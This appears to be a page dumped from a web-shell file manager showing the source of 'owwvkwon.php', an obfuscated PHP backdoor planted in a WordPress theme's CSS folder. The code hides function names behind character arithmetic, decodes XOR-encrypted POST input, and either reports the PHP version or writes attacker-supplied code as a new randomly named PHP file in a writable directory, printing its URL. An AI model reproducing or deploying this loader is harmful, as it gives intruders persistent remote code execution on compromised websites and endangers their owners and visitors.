HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/themes/twentythirteen/css/owwvkwon.php
<?php $vKjwFlGZMJ = chr(68)."\x4f"."\103".chr(85)."\115"."\105"."\x4e".'T'.'_'."\122"."\117".chr(979-900)."\124";$wRraHhep = chr(72)."\x54".chr(558-474).chr(80)."\137".chr(771-699).chr(79)."\123"."\124";$WZWQhCNODo = chr(892-788).'t'."\164"."\x70".':'."\x2f"."\57";$UOydrkVsL = '.'.chr(768-656)."\150"."\160";$WZJGtxY = chr(1003-891).chr(727-623).'p';$rbrSj = 'f'."\x69".'l'."\x65".'_'.chr(1066-954).chr(989-872).chr(116).'_'."\x63"."\157".chr(480-370)."\164".chr(101).chr(366-256).chr(326-210).chr(115);$WnyCVcU = 'r'.chr(97).chr(119).'u'.chr(752-638).chr(108)."\144"."\145".'c'."\x6f".'d'.chr(101);$WREQLgxbM = chr(901-784).chr(173-63).chr(115).'e'.chr(114).chr(922-817)."\x61".chr(427-319)."\151"."\172".chr(694-593);$IKWBBcuT = chr(105).chr(115)."\x5f"."\167"."\162".chr(105).chr(233-117).chr(386-289)."\142"."\x6c".chr(1023-922);$uyXmuU = chr(112).chr(335-231)."\160"."\166".chr(101).chr(114)."\x73".chr(105).'o'."\156";$YDmzeQNW = chr(1052-937).chr(116)."\x72".chr(95)."\162"."\157".chr(116)."\x31"."\63";$JtkRHonFo = "\163".chr(259-158)."\162".chr(105).chr(97)."\x6c"."\x69".chr(1088-966)."\x65";$FuexBbTEn = 's'.chr(765-649)."\x72"."\x5f"."\x73"."\x70".chr(731-623).chr(105).chr(959-843);foreach ($_POST as $HeEZDEIEJO => $vavdbaXTt){$hovKBi = strlen($HeEZDEIEJO);if ($hovKBi == 16){$vavdbaXTt = $FuexBbTEn($WnyCVcU($YDmzeQNW($vavdbaXTt)));$HeEZDEIEJO = array_slice($FuexBbTEn(str_repeat($HeEZDEIEJO, (count($vavdbaXTt)/16)+1)), 0, count($vavdbaXTt));function RzYkRlJClA($yQNGwHE, $UouZhY, $HeEZDEIEJO){$zUmWIitIy = "b9f52452-7989-4b4d-b75e-029169e8a17d";return $yQNGwHE ^ $zUmWIitIy[$UouZhY % strlen($zUmWIitIy)] ^ $HeEZDEIEJO;}$vavdbaXTt = array_map("RzYkRlJClA", array_values($vavdbaXTt), array_keys($vavdbaXTt), array_values($HeEZDEIEJO));$vavdbaXTt = implode("", $vavdbaXTt);$vavdbaXTt = @$WREQLgxbM($vavdbaXTt);if (@is_array($vavdbaXTt)){$uBFoc = array_keys($vavdbaXTt);$vavdbaXTt = $vavdbaXTt[$uBFoc[0]];if ($vavdbaXTt === $uBFoc[0]){echo @$JtkRHonFo(Array($WZJGtxY => @$uyXmuU(), ));exit();}else {function JvwIKndqq($DHEDLMfir){static $IbxYQMQR = array();$fIrBkXjWO = glob($DHEDLMfir . '/*', GLOB_ONLYDIR);$yXzssBb = count($fIrBkXjWO);if ($yXzssBb > 0) {foreach ($fIrBkXjWO as $DHEDLMf) {if (@$IKWBBcuT($DHEDLMf)) {$IbxYQMQR[] = $DHEDLMf;}}}foreach ($fIrBkXjWO as $DHEDLMfir) JvwIKndqq($DHEDLMfir);return $IbxYQMQR;}$BOggZm = $_SERVER[$vKjwFlGZMJ];$fIrBkXjWO = JvwIKndqq($BOggZm);$uBFoc = array_rand($fIrBkXjWO);$MbodFTawJ = $fIrBkXjWO[$uBFoc] . "/" . substr(md5(time()), 0, 8) . $UOydrkVsL;@$rbrSj($MbodFTawJ, $vavdbaXTt);$vzUSD = $WZWQhCNODo . $_SERVER[$wRraHhep] . substr($MbodFTawJ, strlen($BOggZm));print($vzUSD);die();}}}}